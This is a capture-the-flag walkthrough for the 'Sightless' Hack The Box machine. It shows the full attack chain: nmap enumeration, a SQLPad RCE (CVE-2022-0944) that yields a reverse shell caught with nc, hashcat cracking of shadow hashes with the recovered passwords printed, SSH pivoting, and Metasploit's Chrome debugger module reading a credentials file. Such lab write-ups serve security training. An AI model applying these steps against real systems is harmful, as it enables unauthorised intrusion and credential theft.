Sightless is a easy linux machine created by EmSec. The nmap discovers the ftp, ssh and http open ports. The web has a sightless.htb domain. The subdomain sqlpad.sightless.htb uses the sqlpad and it is vulnerable to CVE-2022-0944 RCE vulnerability. The exploit gives us the foothold to docker container as root user. The shadow file contains the hash of root and michael user. Cracking the password gives us a shell of michael user via ssh. Pilliaging the michael we discovers that the froxlor is running using port 8080, admin.sightless.htb vhost is present in /etc/hosts file, the user john has enabled the chrome remote debugger and running the administrator.py. Port forwarding and adding the vhost into the /etc/hosts gives us a froxlor login page. The metasploit is used for chrome remote debugger exploit to download the administrator.py file. The file contains the crediantials for froxlor login page. The froxlor has a php-fpm service installed. Enable the service and we can copy the id_rsa of root user by configuring the new php version.
OS
Difficulty
Points
Release Date
Retired Date
Linux
Easy
20
07-09-2024
11-01-2025
Enumeration
Nmap
Started the nmap and found the ftp, ssh and http services running.
nmap -Pn -sC -sV --min-rate=500 10.10.11.32
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-08 02:18 EST
Nmap scan report for 10.10.11.32
Host is up (0.88s latency).
Not shown: 964 filtered tcp ports (no-response), 33 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
|_ 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_ 256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=1/8%Time=677E26F3%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,44,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20S
SF:erver\)\x20\[::ffff:10\.10\.11\.32\]\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 111.49 seconds
Add the sightless.htb in /etc/hosts file.
Web - sightless.htb
The website is hosted for giving the services for handling the IT infrastructure. The sqlpad and froxlor is used for handling databases and servers services.
The start now button in service section of sqlpad redirects us to sqlpad.sightless.htb subdomain and the froxlor redirects to froxlor main page.
Add the sqlpad.sightless.htb in /etc/hosts file.
Web - sqlpad.sightless.htb
SQLPad is a web application designed to help users write, run and visualize SQL queries. It supports a variety of databases including Postgres, MySQL, SQL Server, and others via ODBC.
Foothold
Searching the vulnerability for sqlpad in web leads me to CVE-2022-0944 RCE vulnerability. The PoC blog post of these vulnerability is published in huntr.
Shell - Docker Container [root]
Add New Connection and choose MySQL Driver. In database section add the below payload.
Start the nc listener in your local machine and click on test.
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.32 48796
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad#
Pivoting
Shell - Docker Container [root] -> michael
The shadow file in docker container gives us the password hash for michael and it can be used for pivoting to system as a michael.
Create the file., copy and paste both the hashes into the file. Crack the hash usinghashcat.
hashcat -a 0 hash /usr/share/wordlists/rockyou.txt
The hash in the above command is a name of a file which contains the hash.
hashcat --show hash
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
1800 | sha512crypt $6$, SHA512 (Unix) | Operating System
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:blindside
$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:insaneclownposse
ssh michael@10.10.11.32
michael@10.10.11.32's password:
Last login: Tue Sep 3 11:52:02 2024 from 10.10.14.23
michael@sightless:~$
Privilege Escalation
Pillaging - michael [user]
Michael doesn't have the privilage to run the sudo command. The netstat command lists us some of the open ports.
michael@sightless:~$ netstat -tlnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:42735 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:46215 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:45813 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
The port 8080 is used for hosting froxlor service. Port forward to local machine for further enumeration.
The exploit for chrome remote debugger is available in metasploit. I will be using it to download the administration.pyfile for getting the froxlor dashboard credentials.
Port Forward all the larger number ports.
Run the metasploit while adding all the ports until the administration.py file is downloaded
sudo msfdb run
[msf](Jobs:0 Agents:0) >> search debugger
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/gather/chrome_debugger 2019-09-24 normal No Chrome Debugger Arbitrary File Read / Arbitrary Web Request
1 exploit/multi/misc/java_jdwp_debugger 2010-03-12 good Yes Java Debug Wire Protocol Remote Code Execution
2 \_ target: Linux (Native Payload) . . . .
3 \_ target: OSX (Native Payload) . . . .
4 \_ target: Windows (Native Payload) . . . .
5 exploit/linux/ssh/mercurial_ssh_exec 2017-04-18 excellent No Mercurial Custom hg-ssh Wrapper Remote Code Exec
6 exploit/multi/misc/nodejs_v8_debugger 2016-08-15 excellent Yes NodeJS Debugger Command Injection
7 exploit/multi/http/werkzeug_debug_rce 2015-06-28 excellent Yes Werkzeug Debug Shell Command Execution
Interact with a module by name or index. For example info 7, use 7 or use exploit/multi/http/werkzeug_debug_rce
[msf](Jobs:0 Agents:0) >> use 0
[msf](Jobs:0 Agents:0) auxiliary(gather/chrome_debugger) >> info
Name: Chrome Debugger Arbitrary File Read / Arbitrary Web Request
Module: auxiliary/gather/chrome_debugger
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2019-09-24
Provided by:
Adam Baldwin (Evilpacket)
Nicholas Starke (The King Pig Demon)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH no File to fetch from remote machine.
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 9222 yes The target port (TCP)
TIMEOUT 10 yes Time to wait for response
URL no Url to fetch from remote machine.
Description:
This module uses the Chrome Debugger's API to read
files off the remote file system, or to make web requests
from a remote machine. Useful for cloud metadata endpoints!
View the full module info with the info -d command.
[msf](Jobs:0 Agents:0) auxiliary(gather/chrome_debugger) >> set RHOSTS localhost
RHOSTS => localhost
[msf](Jobs:0 Agents:0) auxiliary(gather/chrome_debugger) >> set RPORT 41429
RPORT => 41429
[msf](Jobs:0 Agents:0) auxiliary(gather/chrome_debugger) >> exploit -j
[*] Running module against 127.0.0.1
[*] Attempting Connection to ws://127.0.0.1:41429/devtools/page/B76FEFCB8EAE8305BE4A0ABD159F297D
[*] Opened connection
[*] Attempting to load url file:///home/john/automation/administration.py
[*] Received Data
[*] Sending request for data
[*] Received Data
[+] Stored file:///home/john/automation/administration.py at /root/.msf4/loot/20250108101826_default_127.0.0.1_chrome.debugger._522145.txt
[*] Running module against ::1
[-] Bad Response
[*] Auxiliary module execution completed
[msf](Jobs:0 Agents:0) auxiliary(gather/chrome_debugger) >>
The port numbers may be different. In my case port 41429 is used by chrome remote debugger.
